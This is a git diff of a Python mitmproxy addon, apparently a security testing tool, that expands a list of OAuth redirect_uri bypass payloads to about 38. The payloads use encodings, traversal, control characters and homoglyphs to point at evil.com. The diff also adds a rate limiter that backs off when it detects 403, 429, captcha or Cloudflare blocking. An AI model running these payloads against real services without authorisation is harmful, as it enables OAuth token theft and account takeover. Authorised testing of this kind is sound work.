diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index c98168e..8acc4dd 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -1,9 +1,124 @@ from mitmproxy import http import aiohttp +import asyncio +import random +import time from urllib.parse import urlparse, parse_qs, urlencode, urlunparse import lib.target as target from lib.report import save_report +class RedirectRateLimiter: + """redirect_uri_check 전용 rate limiter""" + def __init__(self): + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 + + # 설정값 (전체 패턴 기준으로 최적화) + self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게) + self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 + self.max_delay = 5.0 # 최대 5초 지연 + self.block_duration = 300 # 5분 차단 + self.success_speedup = 0.8 # 성공시 속도 증가 + + async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: + """패턴별 레이트 리미팅""" + current_time = time.time() + + # 차단 중인지 확인 + if current_time < self.blocked_until: + remaining = int(self.blocked_until - current_time) + print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵") + return False + + # 적응형 지연 시간 계산 + delay = self._calculate_delay() + + # 마지막 요청으로부터의 시간 확인 + time_since_last = current_time - self.last_request + if time_since_last < delay: + wait_time = delay - time_since_last + print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") + await asyncio.sleep(wait_time) + + self.last_request = time.time() + self.request_count += 1 + self.pattern_index += 1 + + # 진행률 표시 (10개마다) + if self.pattern_index % 10 == 0: + print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료") + + return True + + def _calculate_delay(self) -> float: + """적응형 지연 시간 계산""" + delay = self.base_delay + + # 연속 실패에 따른 백오프 + if self.consecutive_failures > 0: + backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) + delay += backoff + + # 전체 실패율에 따른 조정 + if self.request_count > 5: + failure_rate = self.failure_count / self.request_count + if failure_rate > 0.3: # 실패율 30% 초과시 + delay *= (1 + failure_rate) + + # 최대값 제한 + delay = min(delay, self.max_delay) + + # 랜덤 지터 (±20%) + jitter = random.uniform(0.8, 1.2) + return delay * jitter + + def record_success(self): + """성공 기록""" + self.consecutive_failures = 0 + # 성공시 약간 속도 증가 (학습 효과) + if self.base_delay > 0.5: + self.base_delay *= self.success_speedup + + def record_failure(self, error_msg: str = ""): + """실패 기록 및 차단 감지""" + self.failure_count += 1 + self.consecutive_failures += 1 + + # 즉시 차단이 필요한 패턴들 + immediate_block_patterns = [ + '403', '429', '503', + 'forbidden', 'rate limit', 'rate-limit', + 'too many requests', 'blocked', 'banned', + 'captcha', 'recaptcha', 'cloudflare', + 'security check', 'access denied' + ] + + error_lower = str(error_msg).lower() + should_block = any(pattern in error_lower for pattern in immediate_block_patterns) + + if should_block: + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}") + return + + # 연속 실패 임계값 도달시 차단 + if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용 + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기") + + def reset_for_new_target(self): + """새로운 타겟 시작시 일부 통계 리셋""" + self.pattern_index = 0 + self.consecutive_failures = 0 + # base_delay와 전체 통계는 유지 (학습된 내용) + +# 글로벌 레이트 리미터 +redirect_limiter = RedirectRateLimiter() + class BypassPayload: """ 우회 패턴 정의 """ def __init__(self, name: str, mutate_func, description: str): @@ -35,33 +150,106 @@ class RedirectBypassChecker: ), BypassPayload( - name=r"fullwidth_slash", - mutate_func=self._mutate_pattern4, - description=r"Path parsing bypass using full-width slash (/): target.com/@evil.com" + name=r"fullwidth_slash_direct", + mutate_func=self._mutate_pattern4_1, + description=r"Direct fullwidth slash bypass: target.com/@evil.com" + ), + + BypassPayload( + name=r"fullwidth_slash_encoded", + mutate_func=self._mutate_pattern4_2, + description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_direct", + mutate_func=self._mutate_pattern4_3, + description=r"Direct fullwidth backslash bypass: target.com\@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_encoded", + mutate_func=self._mutate_pattern4_4, + description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" ), BypassPayload( - name=r"%0a@", + name=r"mixed_backslash_types", mutate_func=self._mutate_pattern5, - description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + description=r"Mixed backslash types: target.com\\\evil.com" ), BypassPayload( - name=r"%0d@", + name=r"mixed_backslash_fullwidth_slash", mutate_func=self._mutate_pattern6, - description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" ), BypassPayload( - name=r"path_traversal", - mutate_func=self._mutate_pattern7, - description=r"Path traversal bypass using ../../../: target.com/path/../../../evil.com" + name=r"path_traversal_basic", + mutate_func=self._mutate_pattern7_1, + description=r"Basic path traversal: target.com/path/../../../evil.com" ), - BypassPayload( - name=r"domain_suffix", + name=r"path_traversal_deep", + mutate_func=self._mutate_pattern7_2, + description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_absolute", + mutate_func=self._mutate_pattern7_3, + description=r"Absolute path traversal: target.com/../evil.com" + ), + BypassPayload( + name=r"path_traversal_mixed", + mutate_func=self._mutate_pattern7_4, + description=r"Mixed slash traversal: target.com/path/.././.././evil.com" + ), + BypassPayload( + name=r"path_traversal_semicolon", + mutate_func=self._mutate_pattern7_5, + description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" + ), + BypassPayload( + name=r"path_traversal_encoded", + mutate_func=self._mutate_pattern7_6, + description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" + ), + BypassPayload( + name=r"path_traversal_double_encoded", + mutate_func=self._mutate_pattern7_7, + description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" + ), + BypassPayload( + name=r"path_traversal_hex", + mutate_func=self._mutate_pattern7_8, + description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" + ), + BypassPayload( + name=r"path_traversal_unicode", + mutate_func=self._mutate_pattern7_9, + description=r"Unicode dot traversal: target.com/path/../../evil.com" + ), + BypassPayload( + name=r"path_traversal_backslash", + mutate_func=self._mutate_pattern7_10, + description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" + ), + BypassPayload( + name=r"path_traversal_overlong", + mutate_func=self._mutate_pattern7_11, + description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" + ), + BypassPayload( + name=r"path_traversal_null", + mutate_func=self._mutate_pattern7_12, + description=r"Null byte traversal: target.com/path/../%00../evil.com" + ), + + BypassPayload( + name=r"wildcard_subdomain_bypass", mutate_func=self._mutate_pattern8, - description=r"Domain suffix spoofing: target.com.evil.com" + description=r"Wildcard subdomain bypass: attacker.target.com" ), BypassPayload( @@ -93,11 +281,11 @@ class RedirectBypassChecker: mutate_func=self._mutate_pattern13, description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" ), - + BypassPayload( - name=r"port_manipulation", + name=r"mixed_case_idn_combo", mutate_func=self._mutate_pattern14, - description=r"Port number manipulation: evil.com@target.com:80" + description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" ), BypassPayload( @@ -111,17 +299,167 @@ class RedirectBypassChecker: mutate_func=self._mutate_pattern16, description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" ), - + BypassPayload( - name=r"double_encoding", + name=r"path_backslash_domain", mutate_func=self._mutate_pattern17, - description=r"Double URL encoding bypass: evil.com%2540target.com" + description=r"Path backslash domain bypass: target.com\\.evil.com" ), BypassPayload( - name=r"case_variation", - mutate_func=self._mutate_pattern18, - description=r"Case variation bypass: EVIL.COM@target.com" + name=r"mixed_encoding_chaos_basic", + mutate_func=self._mutate_pattern18_1, + description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_full", + mutate_func=self._mutate_pattern18_2, + description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_special", + mutate_func=self._mutate_pattern18_3, + description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_double", + mutate_func=self._mutate_pattern18_4, + description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_reverse", + mutate_func=self._mutate_pattern18_5, + description=r"Reverse control chars: evil.com%20%0A%09@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_repeat", + mutate_func=self._mutate_pattern18_6, + description=r"Repeated control chars: evil.com%09%09%09@target.com" + ), + + BypassPayload( + name=r"subdomain_confusion_hyphen", + mutate_func=self._mutate_pattern19, + description=r"Subdomain confusion with hyphen: target-com.evil.com" + ), + + BypassPayload( + name=r"semicolon_userinfo_bypass", + mutate_func=self._mutate_pattern20, + description=r"Semicolon userinfo bypass: target.com;evil.com" + ), + + BypassPayload( + name=r"tab_character_bypass", + mutate_func=self._mutate_pattern21, + description=r"Tab character bypass using %09: evil.com%09@target.com" + ), + + BypassPayload( + name=r"space_character_bypass", + mutate_func=self._mutate_pattern22, + description=r"Space character bypass using %20: evil.com%20@target.com" + ), + + BypassPayload( + name=r"form_feed_bypass", + mutate_func=self._mutate_pattern23, + description=r"Form feed character bypass using %0c: evil.com%0c@target.com" + ), + + BypassPayload( + name=r"vertical_tab_bypass", + mutate_func=self._mutate_pattern24, + description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" + ), + + BypassPayload( + name=r"%0a@", + mutate_func=self._mutate_pattern25, + description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + ), + + BypassPayload( + name=r"%0d@", + mutate_func=self._mutate_pattern26, + description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + ), + + BypassPayload( + name=r"crlf_injection", + mutate_func=self._mutate_pattern27, + description=r"CRLF injection bypass: evil.com%0D%0A@target.com" + ), + + BypassPayload( + name=r"mixed_case_scheme", + mutate_func=self._mutate_pattern28, + description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" + ), + + BypassPayload( + name=r"scheme_dot_injection", + mutate_func=self._mutate_pattern29, + description=r"Scheme dot injection: https.://evil.com@target.com" + ), + + BypassPayload( + name=r"port_encoded_bypass", + mutate_func=self._mutate_pattern30, + description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" + ), + + BypassPayload( + name=r"ampersand_encoded_bypass", + mutate_func=self._mutate_pattern31, + description=r"Ampersand encoded bypass: target.com &%40evil.com" + ), + + BypassPayload( + name=r"underscore_encoded_bypass", + mutate_func=self._mutate_pattern32, + description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" + ), + + BypassPayload( + name=r"comma_separator_bypass", + mutate_func=self._mutate_pattern33, + description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" + ), + + BypassPayload( + name=r"schemeless_bypass", + mutate_func=self._mutate_pattern34, + description=r"Schemeless bypass: //evil.com" + ), + + BypassPayload( + name=r"schema_colon_bypass", + mutate_func=self._mutate_pattern35, + description=r"Schema colon bypass: http:evil.com" + ), + + BypassPayload( + name=r"null_byte_prefix", + mutate_func=self._mutate_pattern36, + description=r"Null byte prefix: %00http://evil.com" + ), + + BypassPayload( + name=r"unicode_spaces_bypass", + mutate_func=self._mutate_pattern37, + description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" + ), + + BypassPayload( + name=r"bracket_encoded_bypass", + mutate_func=self._mutate_pattern38, + description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" ), ] @@ -152,44 +490,166 @@ class RedirectBypassChecker: print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}") return mutated - # 4. 전각 슬래시 - Full-width character bypass - def _mutate_pattern4(self, original: str) -> str: + # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC + # 4_1. 직접 전각 슬래시 + def _mutate_pattern4_1(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" mutated = f"https://{parsed.netloc}/@evil.com{path_part}" - print(f"[redirect_uri_check] fullwidth slash pattern: {original} → {mutated}") + print(f"[redirect_uri_check] direct fullwidth slash: {original} → {mutated}") return mutated - # 5. %0a@ - 줄바꿈 문자 우회 + # 4_2. URL 인코딩된 전각 슬래시 + def _mutate_pattern4_2(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %EF%BC%8F = 전각 슬래시 (/) + mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}" + print(f"[redirect_uri_check] encoded fullwidth slash: {original} → {mutated}") + return mutated + + # 4_3. 직접 전각 백슬래시 + def _mutate_pattern4_3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}\@evil.com{path_part}" + print(f"[redirect_uri_check] direct fullwidth backslash: {original} → {mutated}") + return mutated + + # 4_4. URL 인코딩된 전각 백슬래시 + def _mutate_pattern4_4(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %EF%BC%BC = 전각 백슬래시 (\) + mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}" + print(f"[redirect_uri_check] encoded fullwidth backslash: {original} → {mutated}") + return mutated + + # 5. 백슬래시 + 전각 백슬래시 조합 def _mutate_pattern5(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") + mutated = f"https://{parsed.netloc}\\\evil.com{path_part}" + print(f"[redirect_uri_check] mixed backslash types: {original} → {mutated}") return mutated - # 6. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + # 6. 백슬래시 + 전각 슬래시 조합 def _mutate_pattern6(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") + mutated = f"https://{parsed.netloc}\\/evil.com{path_part}" + print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original} → {mutated}") return mutated # 7. 경로 순회 - Path traversal bypass - def _mutate_pattern7(self, original: str) -> str: + # 7-1. 기본 경로 순회 + def _mutate_pattern7_1(self, original: str) -> str: parsed = urlparse(original) base_path = parsed.path if parsed.path else "/callback" mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com" - print(f"[redirect_uri_check] path traversal pattern: {original} → {mutated}") + print(f"[redirect_uri_check] basic path traversal: {original} → {mutated}") return mutated - # 8. 도메인 접미사 스푸핑 - Slack HackerOne #2575 case + # 7-2. 더 많은 경로 순회 + def _mutate_pattern7_2(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" + print(f"[redirect_uri_check] deep path traversal: {original} → {mutated}") + return mutated + + # 7-3. 절대 경로로 우회 + def _mutate_pattern7_3(self, original: str) -> str: + parsed = urlparse(original) + mutated = f"https://{parsed.netloc}/../evil.com" + print(f"[redirect_uri_check] absolute path traversal: {original} → {mutated}") + return mutated + + # 7-4. 혼합 슬래시 패턴 + def _mutate_pattern7_4(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com" + print(f"[redirect_uri_check] mixed slash traversal: {original} → {mutated}") + return mutated + + # 7-5. 점 뒤에 추가 문자 + def _mutate_pattern7_5(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" + print(f"[redirect_uri_check] semicolon path traversal: {original} → {mutated}") + return mutated + + # 7-6. URL 인코딩된 경로 순회 + def _mutate_pattern7_6(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %2e = ., %2f = / + mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" + print(f"[redirect_uri_check] URL encoded traversal: {original} → {mutated}") + return mutated + + # 7-7. 이중 URL 인코딩 + def _mutate_pattern7_7(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %252e = 이중 인코딩된 . + mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" + print(f"[redirect_uri_check] double encoded traversal: {original} → {mutated}") + return mutated + + # 7-8. 16진수 인코딩 + def _mutate_pattern7_8(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 0x2e2e2f = ../ + mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" + print(f"[redirect_uri_check] hex encoded traversal: {original} → {mutated}") + return mutated + + # 7-9. 유니코드 정규화 우회 + def _mutate_pattern7_9(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 유니코드 점 문자들 (U+002E, U+FF0E 등) + mutated = f"https://{parsed.netloc}{base_path}/../../evil.com" + print(f"[redirect_uri_check] unicode dot traversal: {original} → {mutated}") + return mutated + + # 7-10. 백슬래시 + 경로 순회 조합 + def _mutate_pattern7_10(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" + print(f"[redirect_uri_check] backslash traversal: {original} → {mutated}") + return mutated + + # 7-11. 오버롱 UTF-8 인코딩 + def _mutate_pattern7_11(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %c0%ae = 오버롱 UTF-8로 인코딩된 점 + mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" + print(f"[redirect_uri_check] overlong UTF-8 traversal: {original} → {mutated}") + return mutated + + # 7-12. 널 바이트 삽입 + def _mutate_pattern7_12(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %00 = 널 바이트 + mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" + print(f"[redirect_uri_check] null byte traversal: {original} → {mutated}") + return mutated + + # 8. 와일드카드 서브도메인 우회 def _mutate_pattern8(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.evil.com{path_part}" - print(f"[redirect_uri_check] domain suffix pattern: {original} → {mutated}") + # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 + mutated = f"https://attacker.{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] wildcard subdomain bypass: {original} → {mutated}") return mutated # 9. 백슬래시 우회 - Dart SDK Issue #50075 @@ -240,14 +700,12 @@ class RedirectBypassChecker: print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}") return mutated - # 14. 포트 번호 조작 + # 14. 대소문자 + IDN 문자 조합으로 필터 우회 def _mutate_pattern14(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - # 기본 포트를 명시적으로 표현하거나 다른 포트로 우회 시도 - base_port = ":80" if parsed.scheme == "http" else ":443" - mutated = f"https://evil.example@{parsed.netloc}{base_port}{path_part}" - print(f"[redirect_uri_check] port manipulation pattern: {original} → {mutated}") + mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자 + print(f"[redirect_uri_check] mixed case IDN bypass: {original} → {mutated}") return mutated # 15. Fragment identifier 우회 @@ -267,23 +725,226 @@ class RedirectBypassChecker: mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}" print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}") return mutated - - # 17. 이중 URL 인코딩 + + # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) def _mutate_pattern17(self, original: str) -> str: parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %40(@의 URL 인코딩)을 한 번 더 인코딩하여 %2540으로 만듦 - mutated = f"https://evil.example%2540{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] double encoding pattern: {original} → {mutated}") + # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 + mutated = f"https://{parsed.netloc}\\.evil.com" + print(f"[redirect_uri_check] path backslash domain: {original} → {mutated}") return mutated - # 18. 대소문자 변형 - 서버별 파싱 차이 이용 - def _mutate_pattern18(self, original: str) -> str: + # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) + def _mutate_pattern18_1(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - # 대소문자 혼합으로 파싱 차이 유발 - mutated = f"https://EVIL.EXAMPLE@{parsed.netloc.upper()}{path_part}" - print(f"[redirect_uri_check] case variation pattern: {original} → {mutated}") + # 탭 + 줄바꿈 + 공백 + mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] mixed encoding chaos: {original} → {mutated}") + return mutated + + # 18_2. 모든 제어 문자 조합 + def _mutate_pattern18_2(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 + mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] full control char chaos: {original} → {mutated}") + return mutated + + # 18_3. 제어 문자 + 특수 문자 + def _mutate_pattern18_3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] control + special char chaos: {original} → {mutated}") + return mutated + + # 18_4. 이중 인코딩 + 제어 문자 + def _mutate_pattern18_4(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] double encoded control chaos: {original} → {mutated}") + return mutated + + # 18_5. 역순 제어 문자 + def _mutate_pattern18_5(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] reverse control char chaos: {original} → {mutated}") + return mutated + + # 18_6. 반복 제어 문자 + def _mutate_pattern18_6(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] repeated control char chaos: {original} → {mutated}") + return mutated + + # 19. 서브도메인 혼동 우회 (하이픈 버전) + def _mutate_pattern19(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # target.com → target-com.evil.com + host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') + mutated = f"https://{host_with_hyphen}.evil.com{path_part}" + print(f"[redirect_uri_check] subdomain confusion bypass: {original} → {mutated}") + return mutated + + # 20. 세미콜론 userinfo 우회 + def _mutate_pattern20(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc};evil.com{path_part}" + print(f"[redirect_uri_check] semicolon userinfo bypass: {original} → {mutated}") + return mutated + + # 21. %09 - 탭 문자 우회 + def _mutate_pattern21(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] tab character bypass: {original} → {mutated}") + return mutated + + # 22. %20 - 공백 문자 우회 + def _mutate_pattern22(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] space character bypass: {original} → {mutated}") + return mutated + + # 23. %0c - 폼 피드 문자 우회 + def _mutate_pattern23(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] form feed bypass: {original} → {mutated}") + return mutated + + # 24. %0b - 수직 탭 문자 우회 + def _mutate_pattern24(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] vertical tab bypass: {original} → {mutated}") + return mutated + + # 25. %0a@ - 줄바꿈 문자 우회 + def _mutate_pattern25(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") + return mutated + + # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + def _mutate_pattern26(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") + return mutated + + # 27. CRLF 인젝션 우회 + def _mutate_pattern27(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 + mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] CRLF injection bypass: {original} → {mutated}") + return mutated + + # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 + def _mutate_pattern28(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] mixed case scheme bypass: {original} → {mutated}") + return mutated + + # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) + def _mutate_pattern29(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https.://evil.com@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] scheme dot injection: {original} → {mutated}") + return mutated + + # 30. 포트 인코딩 우회 - %40 = @ + def _mutate_pattern30(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}:%40evil.com{path_part}" + print(f"[redirect_uri_check] port encoded: {original} → {mutated}") + return mutated + + # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 + def _mutate_pattern31(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc} &%40evil.com{path_part}" + print(f"[redirect_uri_check] ampersand encoded: {original} → {mutated}") + return mutated + + # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 + def _mutate_pattern32(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}" + print(f"[redirect_uri_check] underscore encoded: {original} → {mutated}") + return mutated + + # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 + def _mutate_pattern33(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}" + print(f"[redirect_uri_check] comma separator: {original} → {mutated}") + return mutated + + # 34. 스키마 없는 우회 + def _mutate_pattern34(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"//evil.com{path_part}" + print(f"[redirect_uri_check] schemeless: {original} → {mutated}") + return mutated + + # 35. 스키마 콜론 우회 - RFC 위반 파싱 + def _mutate_pattern35(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"http:evil.com{path_part}" + print(f"[redirect_uri_check] schema colon: {original} → {mutated}") + return mutated + + # 36. 널 바이트 prefix - 파싱 혼동 + def _mutate_pattern36(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"%00https://evil.com{path_part}" + print(f"[redirect_uri_check] null prefix: {original} → {mutated}") + return mutated + + # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space + def _mutate_pattern37(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%E2%80%8B@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] unicode spaces: {original} → {mutated}") + return mutated + + # 38. 대괄호 인코딩 우회 + def _mutate_pattern38(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}%5B%40evil.com{path_part}" + print(f"[redirect_uri_check] bracket encoded: {original} → {mutated}") return mutated '''aiohttp 세션 생성 (재사용)''' @@ -301,22 +962,39 @@ class RedirectBypassChecker: """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ async def _send_request(self, url, headers=None): + + # 레이트 리미팅 체크 추가 + pattern_name = "request" + can_proceed = await redirect_limiter.wait_if_needed("request") + if not can_proceed: + return {'status': 429, 'location': '', 'headers': {}} + try: session = await self._get_session() # 세션 준비 request_headers = headers or {} # 요청 